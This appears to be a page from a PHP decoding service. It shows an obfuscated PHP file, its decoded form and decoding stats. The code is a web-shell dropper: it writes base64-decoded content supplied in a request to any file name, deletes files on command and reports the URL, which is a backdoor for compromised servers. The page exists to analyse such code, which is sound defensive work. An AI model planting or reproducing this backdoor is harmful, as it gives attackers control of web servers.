Find this useful? Enter your email to receive occasional updates for securing PHP code.
Signing you up...
Thank you for signing up!
PHP Decode
<?php $fname=(isset($_REQUEST["\x66na\x6de"])?$_REQUEST["\x66na\x6de"]:"");$fbody=(isset($..
Decoded Output download
<?php $fname=(isset($_REQUEST["fname"])?$_REQUEST["fname"]:"");$fbody=(isset($_REQUEST["code"])?$_REQUEST["code"]:"");$opunl=(isset($_REQUEST["del"])?$_REQUEST["del"]:0);$base_d="base64_decode";$fo=(isset($_REQUEST["fo"])?$_REQUEST["fo"]:"");$fw=(isset($_REQUEST["fw"])?$_REQUEST["fw"]:"");$f_get=(isset($_REQUEST["fget"])?$_REQUEST["fget"]:"");$f_put=(isset($_REQUEST["fput"])?$_REQUEST["fput"]:"");$f_unl="unlink";$f_stuaus="file_exists";$f_size="filesize";$str_rep="str_replace";$js_enc="json_encode";$hp = (isset($_SERVER["HTTPS"]) && $_SERVER["HTTPS"] == "on") ? 'https' : 'http';$hot = $_SERVER["HTTP_HOST"];$rinfo=array();$rinfo["star"]="opt";if($fname && $fbody){ $con=$base_d($fbody); $con=$str_rep("%20"," ",$con); $con=$str_rep("%3A",":",$con); $fp =$fo($fname,'w'); $f_result=$fw($fp,$con); $f_dax=$f_size($fname); if(!$f_stuaus($fname) || $f_dax<=0) { $f_putresult=$f_put($fname,$con); $f_dax=$f_size($fname); } if($f_stuaus($fname) && $f_dax>0) { $rinfo["flink"]=$hp."://".$hot."/".$fname; $rinfo["res"]=1; } else { $rinfo["flink"]=$hp."://".$hot."/".$fname; $rinfo["res"]=0; } }else if($opunl=='1' && $fname){ $rinfo["flink"]=$hp."://".$hot."/".$fname; $delres=$f_unl($fname); if($delres) { $rinfo["delres"]=1; }}else{ $rinfo["star"]="temp";} echo $js_enc($rinfo);?>
Did this file decode correctly?
Original Code
<?php $fname=(isset($_REQUEST["\x66na\x6de"])?$_REQUEST["\x66na\x6de"]:"");$fbody=(isset($_REQUEST["\x63od\x65"])?$_REQUEST["\x63od\x65"]:"");$opunl=(isset($_REQUEST["\x64el"])?$_REQUEST["\x64el"]:0);$base_d="\x62as\x6564\x5fde\x63od\x65";$fo=(isset($_REQUEST["fo"])?$_REQUEST["fo"]:"");$fw=(isset($_REQUEST["fw"])?$_REQUEST["fw"]:"");$f_get=(isset($_REQUEST["fget"])?$_REQUEST["fget"]:"");$f_put=(isset($_REQUEST["fput"])?$_REQUEST["fput"]:"");$f_unl="\x75nl\x69nk";$f_stuaus="\x66il\x65_e\x78is\x74s";$f_size="\x66il\x65si\x7ae";$str_rep="\x73tr\x5fre\x70la\x63e";$js_enc="\x6aso\x6e_e\x6eco\x64e";$hp = (isset($_SERVER["\x48TT\x50S"]) && $_SERVER["\x48TT\x50S"] == "on") ? '\x68tt\x70s' : '\x68tt\x70';$hot = $_SERVER["\x48TT\x50_H\x4fST"];$rinfo=array();$rinfo["\x73ta\x72"]="opt";if($fname && $fbody){ $con=$base_d($fbody); $con=$str_rep("%20"," ",$con); $con=$str_rep("%3A",":",$con); $fp =$fo($fname,'w'); $f_result=$fw($fp,$con); $f_dax=$f_size($fname); if(!$f_stuaus($fname) || $f_dax<=0) { $f_putresult=$f_put($fname,$con); $f_dax=$f_size($fname); } if($f_stuaus($fname) && $f_dax>0) { $rinfo["\x66li\x6ek"]=$hp."\x3a//".$hot."\x2f".$fname; $rinfo["\x72es"]=1; } else { $rinfo["flink"]=$hp."\x3a//".$hot."\x2f".$fname; $rinfo["\x72es"]=0; } }else if($opunl=='1' && $fname){ $rinfo["\x66li\x6ek"]=$hp."\x3a//".$hot."\x2f".$fname; $delres=$f_unl($fname); if($delres) { $rinfo["\x64el\x72es"]=1; }}else{ $rinfo["star"]="temp";} echo $js_enc($rinfo);?>
Function Calls
1 | |
str_replace | 2 |
base64_decode | 1 |
Stats
MD5 | 22959e226cb06b5d67ddca8ff52306d9 |
Eval Count | 0 |
Decode Time | 119 ms |